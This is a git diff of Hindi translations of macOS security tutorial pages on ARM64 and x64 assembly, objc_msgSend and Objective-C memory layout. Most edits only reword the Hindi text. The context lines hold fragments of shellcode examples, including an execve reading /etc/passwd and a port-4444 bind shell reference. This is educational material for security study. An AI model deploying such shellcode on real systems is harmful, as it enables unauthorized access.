के मान दोनों 1 हैं (यह कहीं भी परिणाम संग्रहीत किए बिना ANDS की तरह काम करता है)। यह एक रजिस्टर के मान के साथ जांचने के लिए उपयोगी है और यह जांचता है कि क्या रजिस्टर में निर्दिष्ट मान के बिट्स में से कोई 1 है। +- **`tst`**: यह जांचता है कि क्या तुलना के मान दोनों 1 हैं (यह किसी भी परिणाम को कहीं भी संग्रहीत किए बिना ANDS की तरह काम करता है)। यह एक रजिस्टर के मान के साथ जांचने के लिए उपयोगी है और यह जांचता है कि क्या रजिस्टर में निर्दिष्ट मान के बिट्स में से कोई 1 है। - उदाहरण: `tst X1, #7` X1 के अंतिम 3 बिट्स में से कोई 1 है या नहीं, इसकी जांच करें। - **`teq`**: XOR ऑपरेशन परिणाम को छोड़कर। - **`b`**: बिना शर्त शाखा। - उदाहरण: `b myFunction` -- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपरोक्त उपरूटीन कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)। -- **`bl`**: **लिंक के साथ शाखा**, जिसका उपयोग एक **उपरूटीन** को **कॉल** करने के लिए किया जाता है। **लौटने का पता `x30` में संग्रहीत होता है**। -- उदाहरण: `bl myFunction` — यह फ़ंक्शन `myFunction` को कॉल करता है और लौटने का पता `x30` में संग्रहीत करता है। -- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपरोक्त उपरूटीन कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)। -- **`blr`**: **लिंक के साथ शाखा रजिस्टर** में, जिसका उपयोग एक **उपरूटीन** को **कॉल** करने के लिए किया जाता है जहाँ लक्ष्य **एक रजिस्टर में निर्दिष्ट** होता है। लौटने का पता `x30` में संग्रहीत होता है। (यह है -- उदाहरण: `blr x1` — यह उस फ़ंक्शन को कॉल करता है जिसका पता `x1` में है और लौटने का पता `x30` में संग्रहीत करता है। -- **`ret`**: **उपरूटीन** से **लौटें**, आमतौर पर **`x30`** में पते का उपयोग करते हुए। -- उदाहरण: `ret` — यह वर्तमान उपरूटीन से लौटता है जो `x30` में लौटने के पते का उपयोग करता है। +- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपप्रक्रिया कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)। +- **`bl`**: **लिंक के साथ शाखा**, जिसका उपयोग एक **उपप्रक्रिया** को **कॉल** करने के लिए किया जाता है। **रिटर्न पता `x30` में संग्रहीत होता है**। +- उदाहरण: `bl myFunction` — यह फ़ंक्शन `myFunction` को कॉल करता है और रिटर्न पता `x30` में संग्रहीत करता है। +- ध्यान दें कि यह लिंक रजिस्टर को लौटने के पते से नहीं भरेगा (उपप्रक्रिया कॉल के लिए उपयुक्त नहीं है जिसे वापस लौटने की आवश्यकता है)। +- **`blr`**: **लिंक के साथ शाखा रजिस्टर** के लिए, जिसका उपयोग एक **उपप्रक्रिया** को **कॉल** करने के लिए किया जाता है जहाँ लक्ष्य **एक रजिस्टर में निर्दिष्ट** होता है। रिटर्न पता `x30` में संग्रहीत होता है। (यह है +- उदाहरण: `blr x1` — यह उस फ़ंक्शन को कॉल करता है जिसका पता `x1` में है और रिटर्न पता `x30` में संग्रहीत होता है। +- **`ret`**: **उपप्रक्रिया** से **लौटें**, आमतौर पर **`x30`** में पते का उपयोग करते हुए। +- उदाहरण: `ret` — यह वर्तमान उपप्रक्रिया से लौटता है जो `x30` में लौटने के पते का उपयोग करता है। - **`b.`**: शर्तीय शाखाएँ। - **`b.eq`**: **बराबर होने पर शाखा**, पिछले `cmp` निर्देश के आधार पर। - उदाहरण: `b.eq label` — यदि पिछले `cmp` निर्देश ने दो समान मान पाए, तो यह `label` पर कूदता है। @@ -198,7 +198,7 @@ ARM64 निर्देश आमतौर पर **फॉर्मेट `opco - उदाहरण: `tbnz x0, #8, label` - **`tbz`**: बिट का परीक्षण करें और शून्य पर शाखा करें। - उदाहरण: `tbz x0, #8, label` -- **शर्तीय चयन संचालन**: ये संचालन हैं जिनका व्यवहार शर्तीय बिट्स के आधार पर भिन्न होता है। +- **शर्तीय चयन ऑपरेशन**: ये ऑपरेशन हैं जिनका व्यवहार शर्तीय बिट्स के आधार पर भिन्न होता है। - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> यदि सत्य है, तो X0 = X1, यदि गलत है, तो X0 = X2 - `csinc Xd, Xn, Xm, cond` -> यदि सत्य है, तो Xd = Xn, यदि गलत है, तो Xd = Xm + 1 - `cinc Xd, Xn, cond` -> यदि सत्य है, तो Xd = Xn + 1, यदि गलत है, तो Xd = Xn @@ -212,7 +212,7 @@ ARM64 निर्देश आमतौर पर **फॉर्मेट `opco - उदाहरण: `adrp x0, symbol` — यह `symbol` का पृष्ठ पता गणना करता है और इसे `x0` में संग्रहीत करता है। - **`ldrsw`**: **मेमोरी** से एक साइन **32-बिट** मान लोड करें और इसे **64** बिट्स में **साइन-एक्सटेंड** करें। - उदाहरण: `ldrsw x0, [x1]` — यह `x1` द्वारा इंगित मेमोरी स्थान से एक साइन 32-बिट मान लोड करता है, इसे 64 बिट्स में साइन-एक्सटेंड करता है, और इसे `x0` में संग्रहीत करता है। -- **`stur`**: **एक रजिस्टर मान को एक मेमोरी स्थान** में स्टोर करें, एक अन्य रजिस्टर से ऑफसेट का उपयोग करते हुए। +- **`stur`**: **एक रजिस्टर मान को एक मेमोरी स्थान** में संग्रहीत करें, एक अन्य रजिस्टर से ऑफसेट का उपयोग करते हुए। - उदाहरण: `stur x0, [x1, #4]` — यह `x0` में मान को उस मेमोरी पते में संग्रहीत करता है जो `x1` में वर्तमान पते से 4 बाइट अधिक है। - **`svc`** : एक **सिस्टम कॉल** करें। इसका अर्थ "सुपरवाइज़र कॉल" है। जब प्रोसेसर इस निर्देश को निष्पादित करता है, तो यह **उपयोगकर्ता मोड से कर्नेल मोड में स्विच करता है** और मेमोरी में एक विशिष्ट स्थान पर कूदता है जहाँ **कर्नेल का सिस्टम कॉल हैंडलिंग** कोड स्थित है। @@ -224,7 +224,7 @@ mov x0, 0 ; रजिस्टर x0 में निकासी स्थि svc 0 ; सिस्टम कॉल करें। ``` -### **फंक्शन प्रस्तावना** +### **फ़ंक्शन प्रस्तावना** 1. **लिंक रजिस्टर और फ्रेम पॉइंटर को स्टैक में सहेजें**: ```armasm @@ -235,7 +235,7 @@ stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement t ### **फ़ंक्शन एपिलॉग** -1. **स्थानीय चर को डिआलोकेट करें (यदि कोई आवंटित किया गया था)**: `add sp, sp, ` +1. **स्थानीय चर को डिआलॉकेट करें (यदि कोई आवंटित किया गया हो)**: `add sp, sp, ` 2. **लिंक रजिस्टर और फ्रेम पॉइंटर को पुनर्स्थापित करें**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer @@ -245,8 +245,8 @@ ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment th ## AARCH32 निष्पादन स्थिति Armv8-A 32-बिट प्रोग्रामों के निष्पादन का समर्थन करता है। **AArch32** **`A32`** और **`T32`** के **दो निर्देश सेटों** में से एक में चल सकता है और **`interworking`** के माध्यम से उनके बीच स्विच कर सकता है।\ -**Privileged** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन** को निम्नलिखित विशेषाधिकार स्तर 32-बिट में अपवाद स्तर स्थानांतरण को निष्पादित करके शेड्यूल कर सकते हैं।\ -ध्यान दें कि 64-बिट से 32-बिट में संक्रमण अपवाद स्तर के निम्न स्तर के साथ होता है (उदाहरण के लिए, EL1 में 64-बिट प्रोग्राम EL0 में प्रोग्राम को ट्रिगर करता है)। यह तब किया जाता है जब `AArch32` प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1** पर सेट किया जाता है और `SPSR_ELx` का शेष भाग **`AArch32`** प्रोग्रामों का CPSR संग्रहीत करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में संक्रमण कर सके, जो CPSR के आधार पर A32 या T32 में प्रवेश करता है।\*\* +**Privileged** 64-बिट प्रोग्राम 32-बिट प्रोग्रामों के **निष्पादन** को निम्नलिखित विशेषाधिकार 32-बिट में अपवाद स्तर स्थानांतरण को निष्पादित करके शेड्यूल कर सकते हैं।\ +ध्यान दें कि 64-बिट से 32-बिट में संक्रमण अपवाद स्तर के निम्न स्तर के साथ होता है (उदाहरण के लिए, EL1 में 64-बिट प्रोग्राम EL0 में प्रोग्राम को ट्रिगर करता है)। यह तब किया जाता है जब `AArch32` प्रक्रिया थ्रेड निष्पादित होने के लिए तैयार होती है और **`SPSR_ELx`** विशेष रजिस्टर के **बिट 4 को 1** पर सेट किया जाता है और `SPSR_ELx` का शेष भाग **`AArch32`** प्रोग्रामों का CPSR संग्रहीत करता है। फिर, विशेषाधिकार प्राप्त प्रक्रिया **`ERET`** निर्देश को कॉल करती है ताकि प्रोसेसर **`AArch32`** में संक्रमण कर सके, A32 या T32 में प्रवेश करते हुए CPSR\*\* के आधार पर।\*\* **`interworking`** CPSR के J और T बिट्स का उपयोग करके होता है। `J=0` और `T=0` का अर्थ है **`A32`** और `J=0` और `T=1` का अर्थ है **T32**। यह मूल रूप से सबसे निचले बिट को 1 पर सेट करने का संकेत देता है कि निर्देश सेट T32 है।\ यह **interworking शाखा निर्देशों** के दौरान सेट किया जाता है, लेकिन जब PC को गंतव्य रजिस्टर के रूप में सेट किया जाता है तो इसे अन्य निर्देशों के साथ सीधे भी सेट किया जा सकता है। उदाहरण: @@ -272,7 +272,7 @@ mov r0, #8 - **`r13`**: स्टैक पॉइंटर - **`r14`**: लिंक रजिस्टर -इसके अलावा, रजिस्टर **`बैंक्ड रजिस्ट्रियों`** में बैकअप होते हैं। ये ऐसे स्थान हैं जो रजिस्टर के मानों को संग्रहीत करते हैं जिससे **तेज़ संदर्भ स्विचिंग** को सक्षम किया जा सके, अपवाद प्रबंधन और विशेषाधिकार प्राप्त संचालन में, हर बार रजिस्टर को मैन्युअल रूप से सहेजने और पुनर्स्थापित करने की आवश्यकता से बचने के लिए।\ +इसके अलावा, रजिस्टर **`बैंक्ड रजिस्ट्रियों`** में बैकअप होते हैं। ये ऐसे स्थान हैं जो रजिस्टर के मानों को संग्रहीत करते हैं जिससे **तेज़ संदर्भ स्विचिंग** को सक्षम किया जा सके, अपवाद प्रबंधन और विशेषाधिकार प्राप्त ऑपरेशनों में, हर बार मैन्युअल रूप से रजिस्टर को सहेजने और पुनर्स्थापित करने की आवश्यकता से बचने के लिए।\ यह **`CPSR`** से प्रोसेसर मोड के **`SPSR`** में प्रोसेसर की स्थिति को सहेजकर किया जाता है, जिस पर अपवाद लिया जाता है। अपवाद लौटने पर, **`CPSR`** को **`SPSR`** से पुनर्स्थापित किया जाता है। ### CPSR - वर्तमान प्रोग्राम स्थिति रजिस्टर @@ -289,8 +289,8 @@ AArch32 में CPSR AArch64 में **`PSTATE`** के समान का #### एप्लिकेशन प्रोग्राम स्थिति रजिस्टर (APSR) - **`N`**, **`Z`**, **`C`**, **`V`** ध्वज (AArch64 की तरह ही) -- **`Q`** ध्वज: इसे 1 पर सेट किया जाता है जब भी **पूर्णांक संतृप्ति होती है** विशेष संतृप्ति अंकगणितीय निर्देश के निष्पादन के दौरान। एक बार इसे **`1`** पर सेट करने के बाद, यह मान बनाए रखेगा जब तक इसे मैन्युअल रूप से 0 पर सेट नहीं किया जाता। इसके अलावा, इसका मान अप्रत्यक्ष रूप से जांचने के लिए कोई निर्देश नहीं है, इसे मैन्युअल रूप से पढ़कर करना होगा। -- **`GE`** (बड़ा या समान) ध्वज: इसका उपयोग SIMD (सिंगल इंस्ट्रक्शन, मल्टीपल डेटा) संचालन में किया जाता है, जैसे "समानांतर जोड़" और "समानांतर घटाना"। ये संचालन एक ही निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं। +- **`Q`** ध्वज: इसे 1 पर सेट किया जाता है जब भी **पूर्णांक संतृप्ति होती है** विशेष संतृप्ति अंकगणितीय निर्देश के निष्पादन के दौरान। एक बार इसे **`1`** पर सेट करने के बाद, यह मान बनाए रखेगा जब तक इसे मैन्युअल रूप से 0 पर सेट नहीं किया जाता। इसके अलावा, कोई ऐसा निर्देश नहीं है जो इसके मान की जांच करता है, इसे मैन्युअल रूप से पढ़कर करना होगा। +- **`GE`** (बड़ा या समान) ध्वज: इसका उपयोग SIMD (सिंगल इंस्ट्रक्शन, मल्टीपल डेटा) ऑपरेशनों में किया जाता है, जैसे "समानांतर जोड़" और "समानांतर घटाना"। ये ऑपरेशन एक ही निर्देश में कई डेटा बिंदुओं को संसाधित करने की अनुमति देते हैं। उदाहरण के लिए, **`UADD8`** निर्देश **चार जोड़े बाइट्स** (दो 32-बिट ऑपरेन्ड से) को समानांतर में जोड़ता है और परिणामों को 32-बिट रजिस्टर में संग्रहीत करता है। फिर यह **`APSR`** में इन परिणामों के आधार पर **`GE`** ध्वज सेट करता है। प्रत्येक GE ध्वज एक बाइट जोड़ के लिए संबंधित होता है, यह दर्शाते हुए कि उस बाइट जोड़े के लिए जोड़ **ओवरफ्लो** हुआ या नहीं। @@ -301,7 +301,7 @@ AArch32 में CPSR AArch64 में **`PSTATE`** के समान का - **`J`** और **`T`** बिट्स: **`J`** 0 होना चाहिए और यदि **`T`** 0 है तो A32 निर्देश सेट का उपयोग किया जाता है, और यदि यह 1 है, तो T32 का उपयोग किया जाता है। - **IT ब्लॉक स्थिति रजिस्टर** (`ITSTATE`): ये 10-15 और 25-26 से बिट्स हैं। ये **`IT`** प्रीफिक्स समूह के भीतर निर्देशों के लिए शर्तें संग्रहीत करते हैं। - **`E`** बिट: **एंडियननेस** को दर्शाता है। -- **मोड और अपवाद मास्क बिट्स** (0-4): ये वर्तमान निष्पादन स्थिति को निर्धारित करते हैं। **5वां** यह दर्शाता है कि प्रोग्राम 32-बिट (1) के रूप में चल रहा है या 64-बिट (0) के रूप में। अन्य 4 वर्तमान में उपयोग किए जा रहे **अपवाद मोड** का प्रतिनिधित्व करते हैं (जब कोई अपवाद होता है और इसे संभाला जा रहा है)। सेट किया गया संख्या **इसकी प्राथमिकता** को दर्शाता है यदि इस समय एक और अपवाद उत्पन्न होता है। +- **मोड और अपवाद मास्क बिट्स** (0-4): ये वर्तमान निष्पादन स्थिति को निर्धारित करते हैं। **5वां** यह दर्शाता है कि प्रोग्राम 32-बिट (1) या 64-बिट (0) के रूप में चल रहा है। अन्य 4 वर्तमान में उपयोग किए जा रहे **अपवाद मोड** का प्रतिनिधित्व करते हैं (जब कोई अपवाद होता है और इसे संभाला जा रहा है)। सेट किया गया संख्या **इसकी प्राथमिकता** को दर्शाता है यदि इस समय एक और अपवाद उत्पन्न होता है जबकि इसे संभाला जा रहा है।
@@ -336,19 +336,19 @@ XNU एक और प्रकार के कॉल का समर्थन ### comm पृष्ठ -यह एक कर्नेल मालिक मेमोरी पृष्ठ है जो हर उपयोगकर्ता प्रक्रिया के पते के स्केप में मैप किया गया है। इसका उद्देश्य उपयोगकर्ता मोड से कर्नेल स्पेस में संक्रमण को तेज करना है, बजाय इसके कि कर्नेल सेवाओं के लिए सिस्टम कॉल का उपयोग किया जाए, जो इतना अधिक उपयोग किया जाता है कि यह संक्रमण बहुत अप्रभावी होगा। +यह एक कर्नेल मालिक मेमोरी पृष्ठ है जो हर उपयोगकर्ता प्रक्रिया के पते के स्केप में मैप किया गया है। इसका उद्देश्य उपयोगकर्ता मोड से कर्नेल स्पेस में संक्रमण को तेज करना है, ताकि कर्नेल सेवाओं के लिए सिस्टम कॉल का उपयोग करने की तुलना में यह संक्रमण बहुत अप्रभावी न हो। उदाहरण के लिए, कॉल `gettimeofdate` सीधे comm पृष्ठ से `timeval` का मान पढ़ता है। ### objc_msgSend -यह फ़ंक्शन Objective-C या Swift प्रोग्रामों में उपयोग किया जाना बहुत सामान्य है। यह फ़ंक्शन एक Objective-C ऑब्जेक्ट के एक मेथड को कॉल करने की अनुमति देता है। +यह फ़ंक्शन Objective-C या Swift प्रोग्रामों में उपयोग में लाना बहुत सामान्य है। यह फ़ंक्शन एक Objective-C ऑब्जेक्ट के एक मेथड को कॉल करने की अनुमति देता है। पैरामीटर ([दस्तावेज़ में अधिक जानकारी](https://developer.apple.com/documentation/objectivec/1456712-objc_msgsend)): -- x0: self -> इंस्टेंस का पॉइंटर -- x1: op -> मेथड का सेलेक्टर -- x2... -> कॉल किए गए मेथड के बाकी तर्क +- x0: self -> उदाहरण का पॉइंटर +- x1: op -> मेथड का चयनकर्ता +- x2... -> कॉल किए गए मेथड के शेष तर्क तो, यदि आप इस फ़ंक्शन की शाखा से पहले ब्रेकपॉइंट लगाते हैं, तो आप आसानी से lldb में देख सकते हैं कि क्या कॉल किया जा रहा है (इस उदाहरण में ऑब्जेक्ट `NSConcreteTask` से एक ऑब्जेक्ट को कॉल करता है जो एक कमांड चलाएगा): ```bash @@ -373,14 +373,14 @@ whoami > > इसके अलावा, **`OBJC_HELP=1`** सेट करने और किसी भी बाइनरी को कॉल करने पर आप अन्य वातावरण वेरिएबल देख सकते हैं जिन्हें आप **log** करने के लिए उपयोग कर सकते हैं जब कुछ Objc-C क्रियाएँ होती हैं। -जब यह फ़ंक्शन कॉल किया जाता है, तो निर्दिष्ट उदाहरण के कॉल किए गए मेथड को ढूंढना आवश्यक है, इसके लिए विभिन्न खोजें की जाती हैं: +जब यह फ़ंक्शन कॉल किया जाता है, तो निर्दिष्ट उदाहरण के कॉल किए गए तरीके को ढूंढना आवश्यक है, इसके लिए विभिन्न खोजें की जाती हैं: - आशावादी कैश लुकअप करें: - यदि सफल, तो समाप्त - runtimeLock (पढ़ें) प्राप्त करें - यदि (realize && !cls->realized) क्लास को realize करें - यदि (initialize && !cls->initialized) क्लास को initialize करें -- क्लास के अपने कैश को आजमाएं: +- क्लास की अपनी कैश को आजमाएं: - यदि सफल, तो समाप्त - क्लास मेथड सूची को आजमाएं: - यदि पाया गया, तो कैश भरें और समाप्त @@ -388,12 +388,12 @@ whoami - यदि सफल, तो समाप्त - सुपरक्लास मेथड सूची को आजमाएं: - यदि पाया गया, तो कैश भरें और समाप्त -- यदि (resolver) मेथड resolver को आजमाएं, और क्लास लुकअप से दोहराएं +- यदि (resolver) मेथड रिसॉल्वर को आजमाएं, और क्लास लुकअप से दोहराएं - यदि अभी भी यहाँ हैं (= सभी अन्य विफल हो गए हैं) तो फॉरवर्डर को आजमाएं ### Shellcodes -To compile: +संकलन करने के लिए: ```bash as -o shell.o shell.s ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib @@ -518,7 +518,7 @@ svc #0x1337 ; Make the syscall. The number 0x1337 doesn't actually matter, ``` {{#endtab}} -{{#tab name="लिनक्स के लिए adr के साथ"}} +{{#tab name="with adr for linux"}} ```armasm ; From https://8ksec.io/arm64-reversing-and-exploitation-part-5-writing-shellcode-8ksec-blogs/ .section __TEXT,__text ; This directive tells the assembler to place the following code in the __text section of the __TEXT segment. diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md index e041e7561..182ea8aa4 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/introduction-to-x64.md @@ -8,7 +8,7 @@ x64, जिसे x86-64 के नाम से भी जाना जात ### **रजिस्टर** -x64 x86 आर्किटेक्चर का विस्तार करता है, जिसमें **16 सामान्य प्रयोजन रजिस्टर** होते हैं जिन्हें `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, और `r8` से `r15` तक लेबल किया गया है। इनमें से प्रत्येक **64-बिट** (8-बाइट) मान को स्टोर कर सकता है। इन रजिस्टरों में 32-बिट, 16-बिट, और 8-बिट उप-रजिस्टर भी होते हैं जो संगतता और विशिष्ट कार्यों के लिए होते हैं। +x64 x86 आर्किटेक्चर का विस्तार करता है, जिसमें **16 सामान्य-उद्देश्य रजिस्टर** होते हैं जिन्हें `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi`, और `r8` से `r15` तक लेबल किया गया है। इनमें से प्रत्येक **64-बिट** (8-बाइट) मान को स्टोर कर सकता है। इन रजिस्टरों में 32-बिट, 16-बिट, और 8-बिट उप-रजिस्टर भी होते हैं जो संगतता और विशिष्ट कार्यों के लिए होते हैं। 1. **`rax`** - पारंपरिक रूप से **फंक्शंस** से **रिटर्न वैल्यू** के लिए उपयोग किया जाता है। 2. **`rbx`** - अक्सर मेमोरी ऑपरेशंस के लिए **बेस रजिस्टर** के रूप में उपयोग किया जाता है। @@ -17,7 +17,7 @@ x64 x86 आर्किटेक्चर का विस्तार करत 5. **`rbp`** - स्टैक फ्रेम के लिए **बेस पॉइंटर**। 6. **`rsp`** - **स्टैक पॉइंटर**, जो स्टैक के शीर्ष को ट्रैक करता है। 7. **`rsi`** और **`rdi`** - स्ट्रिंग/मेमोरी ऑपरेशंस में **स्रोत** और **गंतव्य** इंडेक्स के लिए उपयोग किया जाता है। -8. **`r8`** से **`r15`** - x64 में पेश किए गए अतिरिक्त सामान्य प्रयोजन रजिस्टर। +8. **`r8`** से **`r15`** - x64 में पेश किए गए अतिरिक्त सामान्य-उद्देश्य रजिस्टर। ### **कॉलिंग कन्वेंशन** @@ -30,7 +30,7 @@ x64 कॉलिंग कन्वेंशन ऑपरेटिंग सि ### Swift में कॉलिंग कन्वेंशन -Swift का अपना **कॉलिंग कन्वेंशन** है जिसे [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) पर पाया जा सकता है। +Swift का अपना **कॉलिंग कन्वेंशन** है जिसे [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) में पाया जा सकता है। ### **सामान्य निर्देश** @@ -95,7 +95,7 @@ syscalls की विभिन्न श्रेणियाँ हैं, आ 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` -तो `open` syscall (**5**) को **Unix/BSD वर्ग** से कॉल करने के लिए आपको इसे जोड़ना होगा: `0x2000000` +इसलिए `open` syscall (**5**) को **Unix/BSD वर्ग** से कॉल करने के लिए आपको इसे जोड़ना होगा: `0x2000000` तो, open को कॉल करने के लिए syscall संख्या होगी `0x2000005` @@ -209,7 +209,7 @@ syscall #### कैट के साथ पढ़ें -लक्ष्य `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना है, इसलिए दूसरा तर्क (x1) पैरामीटर का एक ऐरे है (जो मेमोरी में इनका मतलब पतों का एक स्टैक है)। +लक्ष्य है `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` को निष्पादित करना, इसलिए दूसरा तर्क (x1) पैरामीटर का एक ऐरे है (जो मेमोरी में इनका मतलब पतों का एक स्टैक है)। ```armasm bits 64 section .text @@ -280,7 +280,7 @@ touch_command: db "touch /tmp/lalala", 0 ``` #### Bind shell -**पोर्ट 4444** में [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) से Bind shell +Bind shell from [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **port 4444** ```armasm section .text global _main diff --git a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md index 5fc7e96b0..2a7c3026a 100644 --- a/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md +++ b/src/macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/objects-in-memory.md @@ -67,14 +67,14 @@ ObjectiveC रनटाइम द्वारा उपयोग किए ज - **`__objc_protorefs`** (`protocol_t *`): प्रोटोकॉल संदर्भ - **`__objc_selrefs`** (`SEL`): चयनकर्ता संदर्भ - **`__objc_const`** (`...`): वर्ग `r/o` डेटा और अन्य (उम्मीद है) स्थिर डेटा -- **`__objc_imageinfo`** (`version, flags`): छवि लोड के दौरान उपयोग किया जाता है: वर्तमान संस्करण `0`; ध्वज पूर्व-ऑप्टिमाइज्ड GC समर्थन आदि निर्दिष्ट करते हैं। +- **`__objc_imageinfo`** (`version, flags`): छवि लोड के दौरान उपयोग किया जाता है: वर्तमान संस्करण `0`; फ्लैग पूर्व-ऑप्टिमाइज्ड GC समर्थन आदि निर्दिष्ट करते हैं। - **`__objc_protolist`** (`protocol_t *`): प्रोटोकॉल सूची - **`__objc_nlcatlist`** (`category_t`): इस बाइनरी में परिभाषित नॉन-लेज़ी श्रेणियों के लिए पॉइंटर - **`__objc_catlist`** (`category_t`): इस बाइनरी में परिभाषित श्रेणियों के लिए पॉइंटर -- **`__objc_nlclslist`** (`classref_t`): इस बाइनरी में परिभाषित नॉन-लेज़ी ऑब्जेक्टिव-सी कक्षाओं के लिए पॉइंटर -- **`__objc_classlist`** (`classref_t`): इस बाइनरी में परिभाषित सभी ऑब्जेक्टिव-सी कक्षाओं के लिए पॉइंटर +- **`__objc_nlclslist`** (`classref_t`): इस बाइनरी में परिभाषित नॉन-लेज़ी ऑब्जेक्टिव-सी वर्गों के लिए पॉइंटर +- **`__objc_classlist`** (`classref_t`): इस बाइनरी में परिभाषित सभी ऑब्जेक्टिव-सी वर्गों के लिए पॉइंटर -यह कुछ सेक्शन का उपयोग करता है **`__TEXT`** खंड में स्थिर मानों को संग्रहीत करने के लिए यदि इस खंड में लिखना संभव नहीं है: +यह **`__TEXT`** खंड में कुछ सेक्शन का भी उपयोग करता है ताकि स्थायी मानों को संग्रहीत किया जा सके यदि इस खंड में लिखना संभव नहीं है: - **`__objc_methname`** (C-String): विधि नाम - **`__objc_classname`** (C-String): वर्ग नाम @@ -86,7 +86,7 @@ Objective-c चयनकर्ता और सरल और जटिल प् - प्राइमिटिव प्रकार अपने प्रकार के पहले अक्षर का उपयोग करते हैं `i` के लिए `int`, `c` के लिए `char`, `l` के लिए `long`... और यदि यह unsigned है तो बड़े अक्षर का उपयोग करते हैं (`L` के लिए `unsigned Long`)। - अन्य डेटा प्रकार जिनके अक्षर उपयोग किए जाते हैं या विशेष होते हैं, अन्य अक्षरों या प्रतीकों का उपयोग करते हैं जैसे `q` के लिए `long long`, `b` के लिए `bitfields`, `B` के लिए `booleans`, `#` के लिए `classes`, `@` के लिए `id`, `*` के लिए `char pointers`, `^` के लिए सामान्य `pointers` और `?` के लिए `undefined`। -- एरे, संरचनाएँ और संघ `[`, `{` और `(` का उपयोग करते हैं। +- ऐरे, संरचनाएँ और संघ `[`, `{` और `(` का उपयोग करते हैं। #### Example Method Declaration ```objectivec @@ -105,18 +105,18 @@ Objective-c चयनकर्ता और सरल और जटिल प् ``` #### विस्तृत विश्लेषण -1. **रिटर्न प्रकार (`NSString *`)**: `@` के रूप में एन्कोडेड, लंबाई 24 -2. **`self` (ऑब्जेक्ट उदाहरण)**: `@` के रूप में एन्कोडेड, ऑफसेट 0 पर -3. **`_cmd` (सेलेक्टर)**: `:` के रूप में एन्कोडेड, ऑफसेट 8 पर -4. **पहला तर्क (`char * input`)**: `*` के रूप में एन्कोडेड, ऑफसेट 16 पर -5. **दूसरा तर्क (`NSDictionary * options`)**: `@` के रूप में एन्कोडेड, ऑफसेट 20 पर -6. **तीसरा तर्क (`NSError ** error`)**: `^@` के रूप में एन्कोडेड, ऑफसेट 24 पर +1. **वापसी प्रकार (`NSString *`)**: `@` के रूप में एन्कोड किया गया, लंबाई 24 +2. **`self` (ऑब्जेक्ट उदाहरण)**: `@` के रूप में एन्कोड किया गया, ऑफसेट 0 पर +3. **`_cmd` (सेलेक्टर)**: `:` के रूप में एन्कोड किया गया, ऑफसेट 8 पर +4. **पहला तर्क (`char * input`)**: `*` के रूप में एन्कोड किया गया, ऑफसेट 16 पर +5. **दूसरा तर्क (`NSDictionary * options`)**: `@` के रूप में एन्कोड किया गया, ऑफसेट 20 पर +6. **तीसरा तर्क (`NSError ** error`)**: `^@` के रूप में एन्कोड किया गया, ऑफसेट 24 पर **सेलेक्टर + एन्कोडिंग के साथ आप विधि को पुनर्निर्माण कर सकते हैं।** ### **क्लासेस** -Objective-C में क्लास एक संरचना है जिसमें प्रॉपर्टीज, मेथड पॉइंटर्स... होते हैं। यह संभव है कि आप संरचना `objc_class` को [**स्रोत कोड**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) में खोजें: +Objective-C में क्लास एक संरचना है जिसमें प्रॉपर्टीज, मेथड पॉइंटर्स... होते हैं। आप [**स्रोत कोड**](https://opensource.apple.com/source/objc4/objc4-756.2/runtime/objc-runtime-new.h.auto.html) में संरचना `objc_class` को ढूंढना संभव है: ```objectivec 